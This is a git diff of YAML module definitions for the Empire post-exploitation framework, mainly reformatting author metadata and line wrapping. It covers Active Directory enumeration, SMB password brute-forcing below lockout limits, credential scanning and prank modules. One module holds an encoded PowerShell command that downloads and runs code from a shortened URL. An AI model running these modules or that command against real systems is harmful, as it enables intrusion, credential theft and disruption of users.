- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -85,18 +78,16 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: SecurityMasks
- description: Specifies an option for examining security information of a directory
- object. One of "Dacl", "Group", "None", "Owner", "Sacl".
+ description: Specifies an option for examining security information of a directory object. One of "Dacl", "Group", "None",
+ "Owner", "Sacl".
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: FindOne
@@ -106,7 +97,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -114,5 +105,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-DomainUser {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainUser completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/map_domain_trust.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/map_domain_trust.yaml
index 9b8f54e93..1614136cb 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/map_domain_trust.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/map_domain_trust.yaml
@@ -1,8 +1,11 @@
name: Get-DomainTrustMapping
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Maps all reachable domain trusts with .CSV output. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1482
background: true
@@ -19,28 +22,23 @@ options:
required: true
value: ''
- name: API
- description: Switch. Use an api call (DsEnumerateDomainTrusts) to enumerate the
- trusts instead of the built-in LDAP method
+ description: Switch. Use an api call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in LDAP method
required: false
value: ''
- name: NET
- description: Switch. Use .NET queries to enumerate trusts instead of the default
- LDAP method
+ description: Switch. Use .NET queries to enumerate trusts instead of the default LDAP method
required: false
value: ''
- name: LDAPFilter
- description: Specifies an LDAP query string that is used to filter Active Directory
- objects.
+ description: Specifies an LDAP query string that is used to filter Active Directory objects.
required: false
value: ''
- name: Properties
- description: Specifies the properties of the output object to retrieve from the
- server.
+ description: Specifies the properties of the output object to retrieve from the server.
required: false
value: ''
- name: SearchBase
- description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries.
required: false
value: ''
- name: Server
@@ -48,8 +46,7 @@ options:
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -57,24 +54,22 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: SecurityMasks
- description: Specifies an option for examining security information of a directory
- object. One of "Dacl", "Group", "None", "Owner", "Sacl".
+ description: Specifies an option for examining security information of a directory object. One of "Dacl", "Group", "None",
+ "Owner", "Sacl".
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'ConvertTo-Csv -NoTypeInformation'
+ value: ConvertTo-Csv -NoTypeInformation
strict: false
suggested_values:
- Out-String
@@ -82,5 +77,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-DomainTrustMapping {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainTrustMapping completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/process_hunter.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/process_hunter.yaml
index 0bdb6f449..4e2e65b11 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/process_hunter.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/process_hunter.yaml
@@ -1,9 +1,12 @@
name: Find-DomainProcess
authors:
- - '@harmj0y'
-description: Query the process lists of remote machines, searching for processes with
- a specific name or owned by a specific user. Part of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Query the process lists of remote machines, searching for processes with a specific name or owned by a specific
+ user. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1057
background: true
@@ -24,8 +27,7 @@ options:
required: false
value: ''
- name: ComputerDomain
- description: Specifies the domain to query for computers, defaults to the current
- domain.
+ description: Specifies the domain to query for computers, defaults to the current domain.
required: false
value: ''
- name: ComputerLDAPFilter
@@ -57,8 +59,7 @@ options:
required: false
value: ''
- name: UserGroupIdentity
- description: Specifies a group identity to query for target users, defaults to "Domain
- Admins".
+ description: Specifies a group identity to query for target users, defaults to "Domain Admins".
required: false
value: ''
- name: UserAdminCount
@@ -94,8 +95,7 @@ options:
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -103,18 +103,15 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: Jitter
- description: Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults
- to +/- 0.3.
+ description: Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3.
required: false
value: ''
- name: Threads
@@ -124,7 +121,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -132,5 +129,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Find-DomainProcess {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Find-DomainProcess completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/set_ad_object.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/set_ad_object.yaml
index 9b6e35cb5..571f0206c 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/set_ad_object.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/set_ad_object.yaml
@@ -1,10 +1,12 @@
name: Set-DomainObject
authors:
- - '@harmj0y'
-description: Takes a SID, name, or SamAccountName to query for a specified domain
- object, and then sets a specified "PropertyName" to a specified "PropertyValue".
- Part of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Takes a SID, name, or SamAccountName to query for a specified domain object, and then sets a specified "PropertyName"
+ to a specified "PropertyValue". Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1487
background: true
@@ -21,13 +23,11 @@ options:
required: true
value: ''
- name: Identity
- description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name,
- wildcards accepted.
+ description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name, wildcards accepted.
required: false
value: ''
- name: Clear
- description: Specifies an array of object properties that will be cleared in the
- directory
+ description: Specifies an array of object properties that will be cleared in the directory
required: false
value: ''
- name: Domain
@@ -35,23 +35,21 @@ options:
required: false
value: ''
- name: Set
- description: ' Specifies values for one or more object properties (in the form of
- a hashtable) that will replace the current values.'
+ description: ' Specifies values for one or more object properties (in the form of a hashtable) that will replace the current
+ values.'
required: false
value: ''
- name: Xor
- description: Specifies values for one or more object properties (in the form of
- a hashtable) that will XOR the current values
+ description: Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current
+ values
required: false
value: ''
- name: LDAPFilter
- description: Specifies an LDAP query string that is used to filter Active Directory
- objects.
+ description: Specifies an LDAP query string that is used to filter Active Directory objects.
required: false
value: ''
- name: SearchBase
- description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries.
required: false
value: ''
- name: Server
@@ -59,8 +57,7 @@ options:
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -68,19 +65,17 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -88,5 +83,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Set-DomainObject {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Set-DomainObject completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/share_finder.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/share_finder.yaml
index 5b52b25bf..a128182c8 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/share_finder.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/share_finder.yaml
@@ -1,8 +1,11 @@
name: Find-DomainShare
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Finds shares on machines in the domain. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1135
background: true
@@ -51,8 +54,7 @@ options:
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -60,13 +62,11 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: Delay
@@ -74,8 +74,7 @@ options:
required: false
value: ''
- name: Jitter
- description: Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults
- to +/- 0.3.
+ description: Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3.
required: false
value: ''
- name: Threads
@@ -85,7 +84,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -93,5 +92,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Find-DomainShare {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Find-DomainShare completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/user_hunter.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/user_hunter.yaml
index 97e5257cc..2d0aaff8f 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/user_hunter.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/user_hunter.yaml
@@ -1,9 +1,11 @@
name: Find-DomainUserLocation
authors:
- - '@harmj0y'
-description: Finds which machines users of a specified group are logged into. Part
- of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Finds which machines users of a specified group are logged into. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1033
background: true
@@ -52,8 +54,7 @@ options:
required: false
value: ''
- name: UserDomain
- description: Specifies the domain to query for users to search for, defaults to
- the current domain.
+ description: Specifies the domain to query for users to search for, defaults to the current domain.
required: false
value: ''
- name: UserLDAPFilter
@@ -61,13 +62,11 @@ options:
required: false
value: ''
- name: UserAllowDelegation
- description: Switch. Return user accounts that are not marked as 'sensitive and
- not allowed for delegation'
+ description: Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
required: false
value: ''
- name: UserAdminCount
- description: Switch. Search for users users with '(adminCount=1)' (meaning are/were
- privileged).
+ description: Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
required: false
value: ''
- name: UserSearchBase
@@ -91,13 +90,11 @@ options:
required: false
value: ''
- name: Server
- description: Active Directory server (domain controller) to reflect LDAP queries
- through.
+ description: Active Directory server (domain controller) to reflect LDAP queries through.
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -105,18 +102,15 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: 'False'
- name: Jitter
- description: Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults
- to +/- 0.3.
+ description: Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3.
required: false
value: ''
- name: Stealth
@@ -138,7 +132,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -146,5 +140,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Find-DomainUserLocation {{ PARAMS }} | fl | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Find-DomainUserLocation completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/reverse_dns.yaml b/empire/server/modules/powershell/situational_awareness/network/reverse_dns.yaml
index 7e2af922c..2abc5c9ac 100644
--- a/empire/server/modules/powershell/situational_awareness/network/reverse_dns.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/reverse_dns.yaml
@@ -1,8 +1,11 @@
name: Invoke-ReverseDNSLookup
authors:
- - DarkOperator
+ - name: DarkOperator
+ handle: ''
+ link: ''
description: Performs a DNS Reverse Lookup of a given IPv4 IP Range.
software: ''
+tactics: []
techniques:
- T1046
background: true
@@ -29,7 +32,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -37,5 +40,7 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/Invoke-ReverseDNSLookup.ps1'
-script_end: Invoke-ReverseDNSLookup {{ PARAMS }} | % {try{$entry=$_; $ipObj = [System.Net.IPAddress]::parse($entry.HostName); if(-not [System.Net.IPAddress]::tryparse([string]$_.HostName, [ref]$ipObj)) { $entry }} catch{$entry} } | Select-Object HostName, AddressList | ft -autosize | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Invoke-ReverseDNSLookup completed'
+script_path: situational_awareness/network/Invoke-ReverseDNSLookup.ps1
+script_end: Invoke-ReverseDNSLookup {{ PARAMS }} | % {try{$entry=$_; $ipObj = [System.Net.IPAddress]::parse($entry.HostName);
+ if(-not [System.Net.IPAddress]::tryparse([string]$_.HostName, [ref]$ipObj)) { $entry }} catch{$entry} } | Select-Object
+ HostName, AddressList | ft -autosize | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Invoke-ReverseDNSLookup completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/smbautobrute.yaml b/empire/server/modules/powershell/situational_awareness/network/smbautobrute.yaml
index 68b01a5b7..03492a88d 100644
--- a/empire/server/modules/powershell/situational_awareness/network/smbautobrute.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/smbautobrute.yaml
@@ -1,12 +1,14 @@
name: Invoke-SMBAutoBrute
authors:
- - '@curi0usJack'
-description: Runs an SMB brute against a list of usernames/passwords. Will check the
- DCs to interrogate the bad password count of the users and will keep bruting until
- either a valid credential is discoverd or the bad password count reaches one below
- the threshold. Run "shell net accounts" on a valid agent to determine the lockout
- threshold. VERY noisy! Generates a ton of traffic on the DCs.
+ - name: ''
+ handle: '@curi0usJack'
+ link: ''
+description: Runs an SMB brute against a list of usernames/passwords. Will check the DCs to interrogate the bad password count
+ of the users and will keep bruting until either a valid credential is discoverd or the bad password count reaches one below
+ the threshold. Run "shell net accounts" on a valid agent to determine the lockout threshold. VERY noisy! Generates a ton
+ of traffic on the DCs.
software: ''
+tactics: []
techniques:
- T1135
- T1187
@@ -16,16 +18,15 @@ needs_admin: false
opsec_safe: false
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run smbautobrute from.
required: true
value: ''
- name: UserList
- description: File of users to brute (on the target), one per line. If not specified,
- autobrute will query a list of users with badpwdcount < LockoutThreshold - 1 for
- each password brute. Wrap path in double quotes.
+ description: File of users to brute (on the target), one per line. If not specified, autobrute will query a list of users
+ with badpwdcount < LockoutThreshold - 1 for each password brute. Wrap path in double quotes.
required: false
value: ''
- name: PasswordList
@@ -37,18 +38,17 @@ options:
required: false
value: ''
- name: LockoutThreshold
- description: The max number of bad password attempts until the account locks. Autobrute
- will try till one less than this setting.
+ description: The max number of bad password attempts until the account locks. Autobrute will try till one less than this
+ setting.
required: true
value: ''
- name: Delay
- description: Amount of time to wait (in milliseconds) between attempts. Default
- 100.
+ description: Amount of time to wait (in milliseconds) between attempts. Default 100.
required: false
value: ''
- name: StopOnSuccess
description: Quit running after the first successful authentication.
required: false
value: ''
-script_path: 'situational_awareness/network/Invoke-SMBAutoBrute.ps1'
-script_end: Invoke-SMBAutoBrute {{ PARAMS }}
\ No newline at end of file
+script_path: situational_awareness/network/Invoke-SMBAutoBrute.ps1
+script_end: Invoke-SMBAutoBrute {{ PARAMS }}
diff --git a/empire/server/modules/powershell/situational_awareness/network/smblogin.yaml b/empire/server/modules/powershell/situational_awareness/network/smblogin.yaml
index 8ffd75582..58cc1260a 100644
--- a/empire/server/modules/powershell/situational_awareness/network/smblogin.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/smblogin.yaml
@@ -1,9 +1,11 @@
name: Invoke-SMBLogin
authors:
- - Mauricio Velazco (@mvelazco)
-description: Validates username & password combination(s) across a host or group of
- hosts using the SMB protocol.
+ - name: Mauricio Velazco (@mvelazco)
+ handle: ''
+ link: ''
+description: Validates username & password combination(s) across a host or group of hosts using the SMB protocol.
software: ''
+tactics: []
techniques:
- T1135
- T1187
@@ -26,8 +28,7 @@ options:
required: false
value: ''
- name: ComputerName
- description: A single computer name (ip) or a list of comma separated computer names
- (ips)
+ description: A single computer name (ip) or a list of comma separated computer names (ips)
required: true
value: ''
- name: Domain
@@ -45,7 +46,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -53,5 +54,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/Invoke-SMBLogin.ps1'
+script_path: situational_awareness/network/Invoke-SMBLogin.ps1
script_end: Invoke-SMBLogin {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Invoke-SMBLogin completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/smbscanner.yaml b/empire/server/modules/powershell/situational_awareness/network/smbscanner.yaml
index ba32913c0..d5b61fdc5 100644
--- a/empire/server/modules/powershell/situational_awareness/network/smbscanner.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/smbscanner.yaml
@@ -1,10 +1,17 @@
name: Invoke-SMBScanner
authors:
- - '@obscuresec'
- - '@harmj0y'
- - '@kevin'
+ - name: ''
+ handle: '@obscuresec'
+ link: ''
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+ - name: ''
+ handle: '@kevin'
+ link: ''
description: Tests usernames/password combination across a number of machines.
software: ''
+tactics: []
techniques:
- T1135
- T1187
@@ -26,8 +33,8 @@ options:
required: false
value: ''
- name: ComputerName
- description: Comma-separated hostnames to try username/password combinations against.
- Otherwise enumerate the domain for machines.
+ description: Comma-separated hostnames to try username/password combinations against. Otherwise enumerate the domain for
+ machines.
required: false
value: ''
- name: Password
@@ -46,5 +53,5 @@ options:
description: Switch. Don't ping hosts before enumeration.
required: false
value: ''
-script_path: 'situational_awareness/network/Invoke-SmbScanner.ps1'
+script_path: situational_awareness/network/Invoke-SmbScanner.ps1
script_end: Invoke-SMBScanner {{ PARAMS }}
diff --git a/empire/server/modules/powershell/trollsploit/get_schwifty.yaml b/empire/server/modules/powershell/trollsploit/get_schwifty.yaml
index 2bef28c94..79ee760a4 100644
--- a/empire/server/modules/powershell/trollsploit/get_schwifty.yaml
+++ b/empire/server/modules/powershell/trollsploit/get_schwifty.yaml
@@ -1,9 +1,12 @@
name: Get-Schwifty
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: |
Play's a hidden version of Rick and Morty Get Schwifty video while maxing out a computer's volume.
software:
+tactics: []
techniques:
- T1491
background: true
@@ -13,7 +16,7 @@ opsec_safe: false
language: powershell
min_language_version: '2'
comments:
- - 'https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot'
+ - https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
options:
- name: Agent
description: Agent to run module on.
@@ -52,5 +55,5 @@ script: |
}
until ((Get-Date) -gt $EndTime)
}
-script_end: "Get-Schwifty {{ PARAMS }}; 'Agent is getting schwifty!'"
+script_end: Get-Schwifty {{ PARAMS }}; 'Agent is getting schwifty!'
diff --git a/empire/server/modules/powershell/trollsploit/message.yaml b/empire/server/modules/powershell/trollsploit/message.yaml
index d7672747d..3511204c3 100644
--- a/empire/server/modules/powershell/trollsploit/message.yaml
+++ b/empire/server/modules/powershell/trollsploit/message.yaml
@@ -1,8 +1,11 @@
name: Invoke-Message
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Displays a specified message to the user.
software: ''
+tactics: []
techniques:
- T1491
background: true
diff --git a/empire/server/modules/powershell/trollsploit/process_killer.yaml b/empire/server/modules/powershell/trollsploit/process_killer.yaml
index 4f2d14349..1475829d6 100644
--- a/empire/server/modules/powershell/trollsploit/process_killer.yaml
+++ b/empire/server/modules/powershell/trollsploit/process_killer.yaml
@@ -1,8 +1,11 @@
name: Invoke-ProcessKiller
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Kills any process starting with a particular name.
software: ''
+tactics: []
techniques:
- T1491
background: true
@@ -11,7 +14,7 @@ needs_admin: false
opsec_safe: false
language: powershell
min_language_version: '2'
-comments: [ ]
+comments: []
options:
- name: Agent
description: Agent to run module on.
@@ -60,4 +63,4 @@ script: |
}
}
}
-script_end: Invoke-ProcessKiller {{ PARAMS }}
\ No newline at end of file
+script_end: Invoke-ProcessKiller {{ PARAMS }}
diff --git a/empire/server/modules/powershell/trollsploit/rick_ascii.yaml b/empire/server/modules/powershell/trollsploit/rick_ascii.yaml
index 38381a263..6ad757bdd 100644
--- a/empire/server/modules/powershell/trollsploit/rick_ascii.yaml
+++ b/empire/server/modules/powershell/trollsploit/rick_ascii.yaml
@@ -1,10 +1,14 @@
name: Invoke-RickASCII
authors:
- - '@lee_holmes'
- - '@harmj0y'
-description: Spawns a a new powershell.exe process that runs Lee Holmes' ASCII Rick
- Roll.
+ - name: ''
+ handle: '@lee_holmes'
+ link: ''
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Spawns a a new powershell.exe process that runs Lee Holmes' ASCII Rick Roll.
software: ''
+tactics: []
techniques:
- T1491
background: false
@@ -22,4 +26,4 @@ options:
value: ''
script: |
$Null = Start-Process -WindowStyle Maximized -FilePath \"C:\Windows\System32\WindowsPowerShell\\v1.0\powershell.exe\" -ArgumentList \"-enc aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYgBpAHQALgBsAHkALwBlADAATQB3ADkAdwAiACkA\"; 'Client Rick-Asciied!'
-script_end: ''
\ No newline at end of file
+script_end: ''
diff --git a/empire/server/modules/powershell/trollsploit/rick_astley.yaml b/empire/server/modules/powershell/trollsploit/rick_astley.yaml
index a097afc5f..ef5275c98 100644
--- a/empire/server/modules/powershell/trollsploit/rick_astley.yaml
+++ b/empire/server/modules/powershell/trollsploit/rick_astley.yaml
@@ -1,9 +1,14 @@
name: Get-RickAstley
authors:
- - '@SadProcessor'
- - '@harmj0y'
+ - name: ''
+ handle: '@SadProcessor'
+ link: ''
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Runs @SadProcessor's beeping rickroll.
software: ''
+tactics: []
techniques:
- T1491
background: true
@@ -19,5 +24,5 @@ options:
description: Agent to run module on.
required: true
value: ''
-script: 'empire/server/data/module_source/trollsploit/Get-RickAstley.ps1'
+script: empire/server/data/module_source/trollsploit/Get-RickAstley.ps1
script_end: Get-RickAstley | Out-String | %{$_ + "`n"};"`nGet-RickAstley completed!
diff --git a/empire/server/modules/powershell/trollsploit/thunderstruck.yaml b/empire/server/modules/powershell/trollsploit/thunderstruck.yaml
index 4d67b82d0..92da03f6f 100644
--- a/empire/server/modules/powershell/trollsploit/thunderstruck.yaml
+++ b/empire/server/modules/powershell/trollsploit/thunderstruck.yaml
@@ -1,9 +1,11 @@
name: Invoke-Thunderstruck
authors:
- - '@obscuresec'
-description: Play's a hidden version of AC/DC's Thunderstruck video while maxing out
- a computer's volume.
+ - name: ''
+ handle: '@obscuresec'
+ link: ''
+description: Play's a hidden version of AC/DC's Thunderstruck video while maxing out a computer's volume.
software: ''
+tactics: []
techniques:
- T1491
background: true
diff --git a/empire/server/modules/powershell/trollsploit/voicetroll.yaml b/empire/server/modules/powershell/trollsploit/voicetroll.yaml
index 045c5bd43..1389efe8e 100644
--- a/empire/server/modules/powershell/trollsploit/voicetroll.yaml
+++ b/empire/server/modules/powershell/trollsploit/voicetroll.yaml
@@ -1,8 +1,11 @@
name: Invoke-VoiceTroll
authors:
- - '@424f424f'
+ - name: ''
+ handle: '@424f424f'
+ link: https://twitter.com/424f424f
description: Reads text aloud via synthesized voice on target.
software: ''
+tactics: []
techniques:
- T1491
background: true
@@ -38,4 +41,4 @@ script: |
$synth = New-Object -TypeName System.Speech.Synthesis.SpeechSynthesizer
$synth.Speak($VoiceText)
}
-script_end: Invoke-VoiceTroll {{ PARAMS }}
\ No newline at end of file
+script_end: Invoke-VoiceTroll {{ PARAMS }}
diff --git a/empire/server/modules/powershell/trollsploit/wallpaper.yaml b/empire/server/modules/powershell/trollsploit/wallpaper.yaml
index bd8d2a5b1..5e6309d9c 100644
--- a/empire/server/modules/powershell/trollsploit/wallpaper.yaml
+++ b/empire/server/modules/powershell/trollsploit/wallpaper.yaml
@@ -1,8 +1,11 @@
